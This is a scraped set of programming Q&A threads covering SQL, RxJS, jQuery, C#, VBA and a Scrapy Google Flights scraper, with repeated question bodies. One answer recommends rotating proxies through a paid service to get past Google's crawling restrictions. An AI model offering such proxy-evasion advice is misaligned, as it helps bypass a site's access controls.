insert into Child1 values(100,'Sony1',10),(200,'Sony2',10),(300,'Apple1',20),(400,'Apple2',20),(500,'HTC1',30),(600,'HTC2',30),
(700,'Nexus1',40),(800,'Nexus2',40)

insert into Child2 values(1000,'Sony11',100),(2000,'Sony22',100),(3000,'Apple11',200),(4000,'Apple22',200),(5000,'HTC11',300),(6000,'HTC22',300),
(7000,'Nexus11',400),(8000,'Nexus22',400)
</code>```

Output I need:

```<code>Ids Products    Parents
10  Sony        null
20  Apple       null
30  HTC         null
40  Nexus       null
100 Sony1       10
200 Sony2       10
300 Apple1      20
400 Apple2      20
500 HTC1        30
600 HTC2        30
700 Nexus2      40
800 Nexus2      40
1000    Sony11  100
2000    Sony22  100
3000    Apple11 200
4000    Apple22 200
5000    HTC11   300
6000    HTC22   300
7000    Nexus11 400
8000    Nexus22 400
</code>```

答:
Without using union all and multiple select statements </p>

```<code>SELECT COALESCE(parent.ParentID, Child1.child1id, Child2.child2id),
       COALESCE(Child2.child2, Child1.child1, parent.Parent),
       COALESCE( Child1.ParentIdId, Child2.child1id) FROM parent
FULL JOIN Child1 on 1 = 2
FULL JOIN Child2 on 1 = 2
</code>```

Body:
I need to put the parent child records in one column to  other table  with that ids. and
I tried this:

select parent.Parent,child1.child1,Child2.child2
from parent
join Child1 on child1.ParentIdId=parent.ParentID
join Child2  on child1.child1Id=child2.child1Id`

Create table parent (ParentID int, Parent varchar(10))

Create table Child1 (child1Id int, child1 varchar(10), ParentIdId int)
Create table Child2 (child2Id int, child2 varchar(10), child1Id int)

insert into parent values(10,'Sony'),(20,'Apple'),(30,'HTC'),(40,'Nexus')
insert into Child1 values(100,'Sony1',10),(200,'Sony2',10),(300,'Apple1',20),(400,'Apple2',20),(500,'HTC1',30),(600,'HTC2',30),
(700,'Nexus1',40),(800,'Nexus2',40)

insert into Child2 values(1000,'Sony11',100),(2000,'Sony22',100),(3000,'Apple11',200),(4000,'Apple22',200),(5000,'HTC11',300),(6000,'HTC22',300),
(7000,'Nexus11',400),(8000,'Nexus22',400)

Output I need:

Ids Products    Parents
10  Sony        null
20  Apple       null
30  HTC         null
40  Nexus       null
100 Sony1       10
200 Sony2       10
300 Apple1      20
400 Apple2      20
500 HTC1        30
600 HTC2        30
700 Nexus2      40
800 Nexus2      40
1000    Sony11  100
2000    Sony22  100
3000    Apple11 200
4000    Apple22 200
5000    HTC11   300
6000    HTC22   300
7000    Nexus11 400
8000    Nexus22 400

Body:
Without using union all and multiple select statements

SELECT COALESCE(parent.ParentID, Child1.child1id, Child2.child2id),
       COALESCE(Child2.child2, Child1.child1, parent.Parent),
       COALESCE( Child1.ParentIdId, Child2.child1id) FROM parent
FULL JOIN Child1 on 1 = 2
FULL JOIN Child2 on 1 = 2


问:
Property 'subscribe' does not exist on type 'Promise'
I'm still confused about how rxjs works.

I am building an Ionic app that makes a request to my server and expects json. I have successfully been able to subscribe to an http.post and get the data I need.

However now my problem is that I need to pass an auth token in the http request which I get from Storage. This is an issue because I need to wait until Storage is ready and I get my token value from it before I call the http.post request.

This is where I am trying to get my json data

```<code>getPlanograms() {

    //API URL
    let requestURL = 'https://myapiurlhere';
    let headers = new Headers({'Content-Type': 'application/json'});

    return this.storage.ready().then(() => {

        return this.storage.get('id_token').then((val) => {

            headers.append('Authorization', 'Bearer ' + this.authCredentials.token);
            let options = new RequestOptions({headers: headers});
            return this.http.post(requestURL, {}, options)
                .map(response => <Planogram[]>response.json());

        })
    });
}
</code>```

Which gets called from here

```<code> ionViewDidLoad (){
    this.merchandisingDataService.getPlanograms()
        .subscribe(Planogram => this.planograms = Planogram);
}
</code>```

However, when I try to do this I get the following error

Property 'subscribe' does not exist on type 'Promise'.

What would be the best way to achieve my objective?

答:
Following caffinatedmonkey's suggestion, I ended up with this working function:</p>

```<code>    getPlanograms() {

    //API URL
    let requestURL = 'https://myapiurlhere';

    return Observable
        .fromPromise(this.storage.get('id_token'))
        .flatMap(token =>{
            let headers = new Headers({'Content-Type': 'application/json'});
            headers.append('Authorization', 'Bearer ' + token);
            let options = new RequestOptions({headers: headers});
            return this.http.get(requestURL, options)
                .map(response => <Planogram[]>response.json())
                .catch(this.handleError);
        }
    );
}
</code>```

Body:
I'm still confused about how rxjs works.

I am building an Ionic app that makes a request to my server and expects json. I have successfully been able to subscribe to an http.post and get the data I need.

However now my problem is that I need to pass an auth token in the http request which I get from Storage. This is an issue because I need to wait until Storage is ready and I get my token value from it before I call the http.post request.

This is where I am trying to get my json data

getPlanograms() {

    //API URL
    let requestURL = 'https://myapiurlhere';
    let headers = new Headers({'Content-Type': 'application/json'});

    return this.storage.ready().then(() => {

        return this.storage.get('id_token').then((val) => {

            headers.append('Authorization', 'Bearer ' + this.authCredentials.token);
            let options = new RequestOptions({headers: headers});
            return this.http.post(requestURL, {}, options)
                .map(response => <Planogram[]>response.json());

        })
    });
}

Which gets called from here

 ionViewDidLoad (){
    this.merchandisingDataService.getPlanograms()
        .subscribe(Planogram => this.planograms = Planogram);
}

However, when I try to do this I get the following error

Property 'subscribe' does not exist on type 'Promise'.

What would be the best way to achieve my objective?

Body:
Following caffinatedmonkey's suggestion, I ended up with this working function:

    getPlanograms() {

    //API URL
    let requestURL = 'https://myapiurlhere';

    return Observable
        .fromPromise(this.storage.get('id_token'))
        .flatMap(token =>{
            let headers = new Headers({'Content-Type': 'application/json'});
            headers.append('Authorization', 'Bearer ' + token);
            let options = new RequestOptions({headers: headers});
            return this.http.get(requestURL, options)
                .map(response => <Planogram[]>response.json())
                .catch(this.handleError);
        }
    );
}


问:
Use an MVC Master Page in a WebForm page
I have an MVC application that I am creating that I have to integrate regular WebForms into the site. The WebForm pages will be using a ReportViewer control so I believe that won't work in a regular MVC view because ReportViewer uses ViewState, etc.

Is it possible for me to create a regular Web Form that uses an MVC View Master page? If so...is it possible to use the Html helper methods such as RenderPartial?

答:
Instead of using RenderPartial you could call a MVC controller with ajax from your webforms app and use the html it returns.</p>

```<code>  if (Request.IsAjaxRequest())
   return View("someascx", model);
</code>```

ContentLicense: CC BY-SA 2.5

Body:
Instead of using RenderPartial you could call a MVC controller with ajax from your webforms app and use the html it returns.

  if (Request.IsAjaxRequest())
   return View("someascx", model);


问:
how to get input value inside label have active class
Hi i want to get input id value from label that have active class and i tried with this but only have undefined alert guys can you please tell me how i can do this thank you.

HTML:

```<code> <label class="btn btn-default active">
  <input type="radio" name="activity" id="{$base}p/handler/?handle=privmsg&output=html">
 Msgs</label>
 <label class="btn btn-default">
   <input type="radio" name="activity" id="{$base}p/handler/handle=notify&output=html">
 notify</label>
</code>```

JS:

```<code>g = $('label[class="btn btn-default active"]').next().attr('id');
    alert(g);
</code>```

答:
You need to change the selector as below</p>

```<code>xyz = jQuery('.active input[type="radio"]').attr('id');
alert(xyz);
console.log(xyz);
</code>```

Body:
Hi i want to get input id value from label that have active class and i tried with this but only have undefined alert guys can you please tell me how i can do this thank you.

HTML:

  <input type="radio" name="activity" id="{$base}p/handler/?handle=privmsg&output=html">
 Msgs

   <input type="radio" name="activity" id="{$base}p/handler/handle=notify&output=html">
 notify

JS:

g = $('label[class="btn btn-default active"]').next().attr('id');
    alert(g);

Body:
You need to change the selector as below

xyz = jQuery('.active input[type="radio"]').attr('id');
alert(xyz);
console.log(xyz);


问:
Mask string in ViewModel C#
I have a view that pulls a list of everything in the database and it works great.  However there is one bit of information that I have to mask, and no matter what I try I can't seem to mask it.

I want to mask it with 5 * (no matter how long the string) and display the last 4 digits.

Any idea of the best way to accomplish this with what I have?

String example: "SD46346" && "ADFF3342422" && "56-AS4566S"

Controller

```<code>    vm.Accounts = accounts
        .Select(s => new AdminViewModel.Account
        {
            Id= (s._ID.Length > 40 ? Encryptor.Decrypt(s._ID) : s._ID),
        }).ToList();
    return View(vm);
</code>```

ViewModel

```<code>public List<Account> Accounts { get; set;}

public class Account
{
    public string Id { get; set; }
}
</code>```

Things I've tried : Server Error in '/xxxxx' Application. StartIndex cannot be less than zero. Parameter name: startIndex –

```<code>public string DisplayID
{
    get
    {
        return string.Format("*****{0}", Id.Substring(Id.Length - 4));
    }
}
</code>```

UPDATE

It wasn't my code, it was old data that was lost in the database that only had 2 characters.

答:
Not sure I understand the string (the double quotes and ampersand), but you should be able to modify the code as needed.</p>

```<code>using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Text.RegularExpressions;

namespace ConsoleApplication1
{
    class Program
    {
        static void Main(string[] args)
        {
            string input = "SD46346\" && \"ADFF3342422\" && \"56-AS4566S";
            string pattern = @"\d{4}";  //exactly four digits in a row
            Match match = Regex.Match(input, pattern, RegexOptions.RightToLeft);

            string output = match.Value;
        }
    }
}
</code>```

Title: Mask string in ViewModel C#

Body:
I have a view that pulls a list of everything in the database and it works great.  However there is one bit of information that I have to mask, and no matter what I try I can't seem to mask it.

I want to mask it with 5 * (no matter how long the string) and display the last 4 digits.

Any idea of the best way to accomplish this with what I have?

String example: "SD46346" && "ADFF3342422" && "56-AS4566S"

Controller

    vm.Accounts = accounts
        .Select(s => new AdminViewModel.Account
        {
            Id= (s._ID.Length > 40 ? Encryptor.Decrypt(s._ID) : s._ID),
        }).ToList();
    return View(vm);

ViewModel

public List<Account> Accounts { get; set;}

public class Account
{
    public string Id { get; set; }
}

Things I've tried : Server Error in '/xxxxx' Application. StartIndex cannot be less than zero. Parameter name: startIndex –

public string DisplayID
{
    get
    {
        return string.Format("*****{0}", Id.Substring(Id.Length - 4));
    }
}

UPDATE

It wasn't my code, it was old data that was lost in the database that only had 2 characters.

Body:
Not sure I understand the string (the double quotes and ampersand), but you should be able to modify the code as needed.

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Text.RegularExpressions;

namespace ConsoleApplication1
{
    class Program
    {
        static void Main(string[] args)
        {
            string input = "SD46346\" && \"ADFF3342422\" && \"56-AS4566S";
            string pattern = @"\d{4}";  //exactly four digits in a row
            Match match = Regex.Match(input, pattern, RegexOptions.RightToLeft);

            string output = match.Value;
        }
    }
}


问:
How can I import data from rows and columns of an excel spreadsheet into separate activity.java files?
I am working on a time - table application using Android Studio that would provide notification alerts and information of the subjects for the current day. I have 5 activities (namely Monday through Friday). And I have an excel spreadsheet that contains the time - table of the whole week.

I am able to run the activities according to the days of the week. However I am having difficulties to get the data from the spreadsheet.

The layout.xml file of the activity contains 2 columns - one for the name of the subject and the other for the time interval in which it is held.
I want to display one activity per day(like Monday.java to be the activity that runs on Monday) with the data from that row and column from the spreadsheet.

I am a newbie and trying real hard to developing applications. Any and all help would be really appreciated.

Thank you...

答: You can export your excel file into CSV file so you can parse it line by line as a string and use the method line.split(', ') that will enable to parse line by line and even get the columns accordingly. You can also use the suitable data structure that suits you.


问:
Creating multiple dropdown like in stackoverflow
I want to make a dropdown menu like the one in this site. I want to make 3 things happen.

Make dropdown appear on click.

Only display one dropdown at a time, so clicking on another dropdown link will remove the displaying dropdown and add the dropdown you clicked on.

Removing displayed dropdown when clicking on the same dropdown link or clicking outside the dropdown.

I am not sure if I need a plugin or if the best way is to create this by writing your own code.

Here is my code and it works good but the only problem is that it dosen't remove the displayed dropdown when clicking on the same dropdown link.

 $('a#menu1').click(function() {
   $("div#1").show();
  });
  $('a#menu2').click(function() {
   $("div#2").show();
  });
   $('a#menu3').click(function() {
   $("div#3").show();
  });

$(document).mouseup(function (e)
{
    var container = new Array();
    container.push($('.display_menu1'));
    container.push($('.display_menu2'));
    container.push($('.display_menu3'));

    $.each(container, function(key, value) {
        if (!$(value).is(e.target) // if the target of the click isn't the container...
            && $(value).has(e.target).length === 0) // ... nor a descendant of the container
        {
            $(value).hide();
        }
    });
});```
<pre class="snippet-code-css lang-css prettyprint-override"><code>div.body {
  background-color: white;
  width: 100%;
  height: 400px;
  border: 1px solid grey;
}

div.display_menu1 {
  display: none;
}

div.display_menu2 {
  display: none;
}

div.display_menu3 {
  display: none;
}

ul {
  margin: 0 0 30px 0;
  padding: 0px;
}

li {
  display: inline-block;
}

a.display {
  display: inline-block;
  background-color: lightblue;
  padding: 10px 20px;
  text-decoration: none;
}

div.display {
  background-color: grey;
  width: 200px;
  height: 100px;
}</code>```

      Menu 1

      Menu 2

      Menu 3

    This is dropdown-menu 1!

    This is dropdown-menu 2!

    This is dropdown-menu 3!

```

答:
The good thing is to work with classes not with Ids .. so in my next example I'm using data attribute and use same class for all divs

$('a[data-menu]').click(function() {
  var menu_num = $(this).data('menu');  // get the href data-menu attribute to get the div id from it
  $('.display_menu').not($('#'+menu_num)).hide(0); // hide all the divs but not the open one
  $('#'+menu_num).slideToggle(100);  // toggle the div its already shown .. this slideToggle will show/hide it by clicking the
  $('li').not($(this).closest('li')).removeClass('active');
  $(this).closest('li').toggleClass('active');
});

$(document).on('click',function (e)
{
// no need here for using array and .each()
    if (!$('a[data-menu] , .display_menu').is(e.target) // if the target of the click isn't the container...
        && $('a[data-menu] , .display_menu').has(e.target).length === 0) // ... nor a descendant of the container
    {
        $('.display_menu').hide(0);
        $('li').removeClass('active');
    }
});```
<pre class="snippet-code-css lang-css prettyprint-override"><code>div.body {
  background-color: white;
  width: 100%;
  height: 400px;
  border: 1px solid grey;
}

div.display_menu {
  display: none;
}

ul {
  margin: 0 0 30px 0;
  padding: 0px;
}

li {
  display: inline-block;
}

a.display {
  display: inline-block;
  background-color: lightblue;
  padding: 10px 20px;
  text-decoration: none;
}

div.display {
  background-color: grey;
  width: 200px;
  height: 100px;
}

.active{
  background : red;
}</code>```

      Menu 1

      Menu 2

      Menu 3

    This is dropdown-menu 1!

    This is dropdown-menu 2!

    This is dropdown-menu 3!

```

Body:
I want to make a dropdown menu like the one in this site. I want to make 3 things happen.

Make dropdown appear on click.

Only display one dropdown at a time, so clicking on another dropdown link will remove the displaying dropdown and add the dropdown you clicked on.

Removing displayed dropdown when clicking on the same dropdown link or clicking outside the dropdown.

I am not sure if I need a plugin or if the best way is to create this by writing your own code.

Here is my code and it works good but the only problem is that it dosen't remove the displayed dropdown when clicking on the same dropdown link.

 $('a#menu1').click(function() {
   $("div#1").show();
  });
  $('a#menu2').click(function() {
   $("div#2").show();
  });
   $('a#menu3').click(function() {
   $("div#3").show();
  });

$(document).mouseup(function (e)
{
    var container = new Array();
    container.push($('.display_menu1'));
    container.push($('.display_menu2'));
    container.push($('.display_menu3'));

    $.each(container, function(key, value) {
        if (!$(value).is(e.target) // if the target of the click isn't the container...
            && $(value).has(e.target).length === 0) // ... nor a descendant of the container
        {
            $(value).hide();
        }
    });
});

div.body {
  background-color: white;
  width: 100%;
  height: 400px;
  border: 1px solid grey;
}

div.display_menu1 {
  display: none;
}

div.display_menu2 {
  display: none;
}

div.display_menu3 {
  display: none;
}

ul {
  margin: 0 0 30px 0;
  padding: 0px;
}

li {
  display: inline-block;
}

a.display {
  display: inline-block;
  background-color: lightblue;
  padding: 10px 20px;
  text-decoration: none;
}

div.display {
  background-color: grey;
  width: 200px;
  height: 100px;
}

      Menu 1

      Menu 2

      Menu 3

    This is dropdown-menu 1!

    This is dropdown-menu 2!

    This is dropdown-menu 3!

Body:
The good thing is to work with classes not with Ids .. so in my next example I'm using data attribute and use same class for all divs

$('a[data-menu]').click(function() {
  var menu_num = $(this).data('menu');  // get the href data-menu attribute to get the div id from it
  $('.display_menu').not($('#'+menu_num)).hide(0); // hide all the divs but not the open one
  $('#'+menu_num).slideToggle(100);  // toggle the div its already shown .. this slideToggle will show/hide it by clicking the <a>
  $('li').not($(this).closest('li')).removeClass('active');
  $(this).closest('li').toggleClass('active');
});

$(document).on('click',function (e)
{
// no need here for using array and .each()
    if (!$('a[data-menu] , .display_menu').is(e.target) // if the target of the click isn't the container...
        && $('a[data-menu] , .display_menu').has(e.target).length === 0) // ... nor a descendant of the container
    {
        $('.display_menu').hide(0);
        $('li').removeClass('active');
    }
});

div.body {
  background-color: white;
  width: 100%;
  height: 400px;
  border: 1px solid grey;
}

div.display_menu {
  display: none;
}

ul {
  margin: 0 0 30px 0;
  padding: 0px;
}

li {
  display: inline-block;
}

a.display {
  display: inline-block;
  background-color: lightblue;
  padding: 10px 20px;
  text-decoration: none;
}

div.display {
  background-color: grey;
  width: 200px;
  height: 100px;
}

.active{
  background : red;
}

<script src="https://ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js"></script>
<body>
<div class="body">
  <ul>
    <li>
      <a href="#" method="POST" id='menu1' class="number" data-menu="1">Menu 1</a>
    </li>
    <li>
      <a href="#" method="POST" id='menu2' class="number" data-menu="2">Menu 2</a>
    </li>
    <li>
      <a href="#" method="POST" id='menu3' class="number" data-menu="3">Menu 3</a>
    </li>
  </ul>
  <div id="1" class="display display_menu">
    This is dropdown-menu 1!
  </div>
  <div id="2" class="display display_menu">
    This is dropdown-menu 2!
  </div>
  <div id="3" class="display display_menu">
    This is dropdown-menu 3!
  </div>

</div>
</body>


问:
C++ 3D perfect collision detection
I'm having hard time learning collision detection by experience. I'm making a box game, à la Minecraft, and am at the stage of implementing collision detection.

I've done x and y axis', since everything consists of cubes I would like to make my own collision detector and make it as light as possible.

Is there a way to make "pixel perfect" collisions, that is when the player's bounding box (or circle) touches a box it registers as a collision? Right now this is what I did:

```<code>if(-TOUCH_DISTANCE-1 < yPlayer-yBox && yPlayer-yBox < TOUCH_DISTANCE-1)
{
    collisionNorth = true;
}
if(-TOUCH_DISTANCE+1 < yPlayer-yBox && yPlayer-yBox < TOUCH_DISTANCE+1)
{
    collisionSouth = true;
}
</code>```

It basically detects the collision within a certain margin and that means errors, which I don't like :(. Notice the +/-1 which offsets the "collision wall" to the respective side of the box.

This works, on lower speeds, but once there's some action (when I crack up the speed variable) the collision can't be detected anymore since I go too fast and pass right through the cube... Is there a way to make it wallhax0r proof?

This is especially annoying on z axis, when the player falls at high speed and even when defining a respectable collision margin it will ultimately look nasty (player half buried).

答: Usually what you need to do is keep track of the previous position of the objects as well as the current position. Then when you update, you can check if the objects intersected during the time period, rather than if they intersect 'at the moment'.</p>

Title: C++ 3D perfect collision detection

Body:
I'm having hard time learning collision detection by experience. I'm making a box game, à la Minecraft, and am at the stage of implementing collision detection.

I've done x and y axis', since everything consists of cubes I would like to make my own collision detector and make it as light as possible.

Is there a way to make "pixel perfect" collisions, that is when the player's bounding box (or circle) touches a box it registers as a collision? Right now this is what I did:

if(-TOUCH_DISTANCE-1 < yPlayer-yBox && yPlayer-yBox < TOUCH_DISTANCE-1)
{
    collisionNorth = true;
}
if(-TOUCH_DISTANCE+1 < yPlayer-yBox && yPlayer-yBox < TOUCH_DISTANCE+1)
{
    collisionSouth = true;
}

It basically detects the collision within a certain margin and that means errors, which I don't like :(. Notice the +/-1 which offsets the "collision wall" to the respective side of the box.

This works, on lower speeds, but once there's some action (when I crack up the speed variable) the collision can't be detected anymore since I go too fast and pass right through the cube... Is there a way to make it wallhax0r proof?

This is especially annoying on z axis, when the player falls at high speed and even when defining a respectable collision margin it will ultimately look nasty (player half buried).


问:
Python scrapy working (only half of the time)
I created a python scrapy project to extract the prices of some google flights.

I configured the middleware to use PhantomJS instead of a normal browser.

```<code>class JSMiddleware(object):
    def process_request(self, request, spider):
        driver = webdriver.PhantomJS()
        try:
            driver.get(request.url)
            time.sleep(1.5)
        except e:
            raise ValueError("request url failed - \n url: {},\n error:
                  {}").format(request.url, e)
        body = driver.page_source
        #encoding='utf-8' - add to html response if necessary
        return HtmlResponse(driver.current_url, body=body,encoding='utf-8',
               request=request)
</code>```

In the settings.py i added:

```<code>DOWNLOADER_MIDDLEWARES = {
# key path intermediate class, order value of middleware
'scraper_module.middlewares.middleware.JSMiddleware' : 543 ,
# prohibit the built-in middleware
'scrapy.downloadermiddlewares.useragent.UserAgentMiddleware' : None ,  } `
</code>```

I also created the following spider class:

```<code>import scrapy
from scrapy import Selector

class Gspider(scrapy.Spider):
    name = "google_spider"

    def __init__(self):
        self.start_urls = ["https://www.google.pt/flights/#search;f=LIS;t=POR;d=2017-06-18;r=2017-06-22"]
        self.prices = []
        self.links = []

    def clean_price(self, part):
        #part received as a list
        #the encoding is utf-8
        part = part[0]
        part = part.encode('utf-8')
        part = filter(str.isdigit, part)
        return part

    def clean_link(self, part):
        part = part[0]
        part = part.encode('utf-8')
        return part

    def get_part(self, var_holder, response, marker, inner_marker, amount = 1):
        selector = Selector(response)
        divs = selector.css(marker)
        for n, div in enumerate(divs):
            if n < amount:
                part = div.css(inner_marker).extract()
                if inner_marker == '::text':
                    part = self.clean_price(part)
                else:
                    part = self.clean_link(part)
                var_holder.append(part)
            else:
                break
        return var_holder

    def parse(self, response):
        prices, links = [], []
        prices = self.get_part(prices, response, 'div.OMOBOQD-d-Ab', '::text')
        print prices
        links = self.get_part(links, response, 'a.OMOBOQD-d-X', 'a::attr(href)')
        print links
</code>```

The problem is, I run the code in the shell, and around half of the times I successfully get the prices and links requested, but another half of the time, the final vectors which should contain the extracted data, are empty.

I do not get any errors during execution.

Does anyone have any idea about why this is happening?
here are the logs from the command line:

答:
Google has a very strict policy in terms of crawling. (Pretty hypocritical when you know that they constently crawl all the web...)

You should either find an API, as said previously in the comments or maybe use proxies. An easy way is to use Crawlera. It manages thousands of proxies so you don't have to bother. I personnaly use it to crawl google and it works perfectly. The downside is that it is not free.

Body:
I created a python scrapy project to extract the prices of some google flights.

I configured the middleware to use PhantomJS instead of a normal browser.

class JSMiddleware(object):
    def process_request(self, request, spider):
        driver = webdriver.PhantomJS()
        try:
            driver.get(request.url)
            time.sleep(1.5)
        except e:
            raise ValueError("request url failed - \n url: {},\n error:
                  {}").format(request.url, e)
        body = driver.page_source
        #encoding='utf-8' - add to html response if necessary
        return HtmlResponse(driver.current_url, body=body,encoding='utf-8',
               request=request)

In the settings.py i added:

DOWNLOADER_MIDDLEWARES = {
# key path intermediate class, order value of middleware
'scraper_module.middlewares.middleware.JSMiddleware' : 543 ,
# prohibit the built-in middleware
'scrapy.downloadermiddlewares.useragent.UserAgentMiddleware' : None ,  } `

I also created the following spider class:

import scrapy
from scrapy import Selector

class Gspider(scrapy.Spider):
    name = "google_spider"

    def __init__(self):
        self.start_urls = ["https://www.google.pt/flights/#search;f=LIS;t=POR;d=2017-06-18;r=2017-06-22"]
        self.prices = []
        self.links = []

    def clean_price(self, part):
        #part received as a list
        #the encoding is utf-8
        part = part[0]
        part = part.encode('utf-8')
        part = filter(str.isdigit, part)
        return part

    def clean_link(self, part):
        part = part[0]
        part = part.encode('utf-8')
        return part

    def get_part(self, var_holder, response, marker, inner_marker, amount = 1):
        selector = Selector(response)
        divs = selector.css(marker)
        for n, div in enumerate(divs):
            if n < amount:
                part = div.css(inner_marker).extract()
                if inner_marker == '::text':
                    part = self.clean_price(part)
                else:
                    part = self.clean_link(part)
                var_holder.append(part)
            else:
                break
        return var_holder

    def parse(self, response):
        prices, links = [], []
        prices = self.get_part(prices, response, 'div.OMOBOQD-d-Ab', '::text')
        print prices
        links = self.get_part(links, response, 'a.OMOBOQD-d-X', 'a::attr(href)')
        print links

The problem is, I run the code in the shell, and around half of the times I successfully get the prices and links requested, but another half of the time, the final vectors which should contain the extracted data, are empty.

I do not get any errors during execution.

Does anyone have any idea about why this is happening?
here are the logs from the command line:


问:
Excel VBA & UserForm Login and Password VLOOKUP Table in Sheet
I've been trying to get my login userform to login when clicked based on data in a table in the workbook, but I just can't seem to get the code right.

Details are:

Userform username textbox = UsernameTextbox;

Userform password textbox = PasswordTextbox;

Userform submit button = LoginButton

My workbook has a number of sheets, one of which is "Users". In that sheet, there is a table called "Users_Table". That table has 4 columns:

ID (individual IDs for users) [Column A],

Username [Column B],

Password [Column C],

Admin (answer is "True" or "False" depending on if they have admin rights) [Column D].

I'm trying to do this:
If the username and password is correct for a user AND if the admin column entry is False, then I want to show sheets "Quick Add" and "Overview", I want to make the sheet "Admin" hidden (not VeryHidden since I need to use data on this sheet for other macros), and make "User" sheets VeryHidden so those logged in can't see other users' details. But for users who correctly enter their username and password AND for whom the admin column entry is True, I want to show all sheets.

This is what I have so far:

```<code>Private Sub LoginButton_Click()
  Dim Username As String
  Username = UsernameTextbox.Text
  Dim password As String
  Password = PasswordTextbox.Text
  If IsNull(Me.UsernameTextbox) Or Me.UsernameTextbox = "" Then
    MsgBox "You must enter your username.", vbOKOnly, "Required Data"
    Me.UsernameTextbox.SetFocus
    Exit Sub
  End If
  If IsNull(Me.PasswordTextbox) Or Me.PasswordTextbox = "" Then
    MsgBox "You must enter your Password (case sensitive).", vbOKOnly, "Incomplete Entry"
    Me.PasswordTextbox.SetFocus
    Exit Sub
  End If
  Dim temp As String
  On Error Resume Next
  temp = WorksheetFunction.VLookup(Me.UsernameTextbox.Value, Worksheets("Users").Range("Users_Table"), 2, 0)
  If Username = temp Then
    Err.Clear
    temp = ""
    temp = WorksheetFunction.VLookup(Me.UsernameTextbox.Value, Worksheets("Users").Range("Users_Table"), 3, 0)
    On Error Goto 0
    If Password = temp Then
      Sheets("Quick Add").Visible = xlSheetVisible
      Sheets("Overview").Visible = xlSheetVisible
      Sheets("Admin").Visible = xlSheetHidden 'This is now just Hidden and not VeryHidden since other macros need to use data on this sheet
      Sheets("Users").Visible = xlVeryHidden
      MsgBox "Password and Username Accepted. You are now Logged In."
      'Unload Me
      'Sheets("Quick Add").Select
      'Range("A1").Select
    Else
      Sheets("Quick Add").Visible = xlVeryHidden
      Sheets("Overview").Visible = xlVeryHidden
      Sheets("Admin").Visible = xlVeryHidden
      Sheets("Users").Visible = xlVeryHidden
      MsgBox "Username and Password Combination Not Accepted"
    End If
  Else
    Sheets("Quick Add").Visible = xlVeryHidden
    Sheets("Overview").Visible = xlVeryHidden
    Sheets("Admin").Visible = xlVeryHidden
    Sheets("Users").Visible = xlVeryHidden
    MsgBox "Invalid Username"
  End If
End Sub
</code>```

This works for the first entry in the "Users_Table", but it won't recognise the Username for the others (and so I don't know if it's recognising the Passwords for users as it's failing on the initial Username check). Any ideas what might be going wrong? I'm also not sure how I'd go about adding in the Admin requirement mentioned above. I need Admins ("True" in "Admin" column, i.e. Column D, in the "Users_Table") to be able to see all sheets; the code above is just for Users and shows "Quick Add" and "Overview" and hides "Admin" and "Users" sheets.

Any help would be much appreciated. Thank you!

答:
You have made it very complicated. Keep it simple. Try this (untested)

```<code>Private Sub LoginButton_Click()
    Dim Username As String
    Dim password As String
    Dim passWs As Worksheet
    Dim rng As Range
    Dim CorrectDetails As Boolean

    Username = UsernameTextbox.Text
    password = PasswordTextbox.Text

    If Len(Trim(Username)) = 0 Then
        UsernameTextbox.SetFocus
        MsgBox "Please enter the username", vbOKOnly, "Required Data"
        Exit Sub
    End If

    If Len(Trim(password)) = 0 Then
        PasswordTextbox.SetFocus
        MsgBox "Please enter the password", vbOKOnly, "Incomplete Entry"
        Exit Sub
    End If

    Set passWs = ThisWorkbook.Worksheets("Users")

    With passWs
        lrow = .Range("A" & .Rows.Count).End(xlUp).Row

        For i = 1 To lrow
            If UCase(Trim(.Range("B" & i).Value)) = UCase(Trim(Username)) Then '<~~ Username Check
                If .Range("C" & i).Value = password Then '<~~ Password Check
                    CorrectDetails = True

                    '~~> Admin is True
                    If .Range("D" & i).Value = "True" Then
                        '
                        '~~> Do what you want
                        '
                    Else
                        '
                        '~~> Do what you want
                        '
                    End If

                    Exit For
                End If
            End If
        Next i

        '~~> Incorrect Username/Password
        If CorrectDetails = False Then
            MsgBox "Invalid Username/Password"
        End If
    End With
End Sub
</code>```

My Assumptions

In sheet "Users", Col B has username, Col C has password and Col D has Admin values.. If not then please amend the above code as required.

Body:
I've been trying to get my login userform to login when clicked based on data in a table in the workbook, but I just can't seem to get the code right.

Details are:

Userform username textbox = UsernameTextbox;

Userform password textbox = PasswordTextbox;

Userform submit button = LoginButton

My workbook has a number of sheets, one of which is "Users". In that sheet, there is a table called "Users_Table". That table has 4 columns:

ID (individual IDs for users) [Column A],

Username [Column B],

Password [Column C],

Admin (answer is "True" or "False" depending on if they have admin rights) [Column D].

I'm trying to do this:
If the username and password is correct for a user AND if the admin column entry is False, then I want to show sheets "Quick Add" and "Overview", I want to make the sheet "Admin" hidden (not VeryHidden since I need to use data on this sheet for other macros), and make "User" sheets VeryHidden so those logged in can't see other users' details. But for users who correctly enter their username and password AND for whom the admin column entry is True, I want to show all sheets.

This is what I have so far:

Private Sub LoginButton_Click()
  Dim Username As String
  Username = UsernameTextbox.Text
  Dim password As String
  Password = PasswordTextbox.Text
  If IsNull(Me.UsernameTextbox) Or Me.UsernameTextbox = "" Then
    MsgBox "You must enter your username.", vbOKOnly, "Required Data"
    Me.UsernameTextbox.SetFocus
    Exit Sub
  End If
  If IsNull(Me.PasswordTextbox) Or Me.PasswordTextbox = "" Then
    MsgBox "You must enter your Password (case sensitive).", vbOKOnly, "Incomplete Entry"
    Me.PasswordTextbox.SetFocus
    Exit Sub
  End If
  Dim temp As String
  On Error Resume Next
  temp = WorksheetFunction.VLookup(Me.UsernameTextbox.Value, Worksheets("Users").Range("Users_Table"), 2, 0)
  If Username = temp Then
    Err.Clear
    temp = ""
    temp = WorksheetFunction.VLookup(Me.UsernameTextbox.Value, Worksheets("Users").Range("Users_Table"), 3, 0)
    On Error Goto 0
    If Password = temp Then
      Sheets("Quick Add").Visible = xlSheetVisible
      Sheets("Overview").Visible = xlSheetVisible
      Sheets("Admin").Visible = xlSheetHidden 'This is now just Hidden and not VeryHidden since other macros need to use data on this sheet
      Sheets("Users").Visible = xlVeryHidden
      MsgBox "Password and Username Accepted. You are now Logged In."
      'Unload Me
      'Sheets("Quick Add").Select
      'Range("A1").Select
    Else
      Sheets("Quick Add").Visible = xlVeryHidden
      Sheets("Overview").Visible = xlVeryHidden
      Sheets("Admin").Visible = xlVeryHidden
      Sheets("Users").Visible = xlVeryHidden
      MsgBox "Username and Password Combination Not Accepted"
    End If
  Else
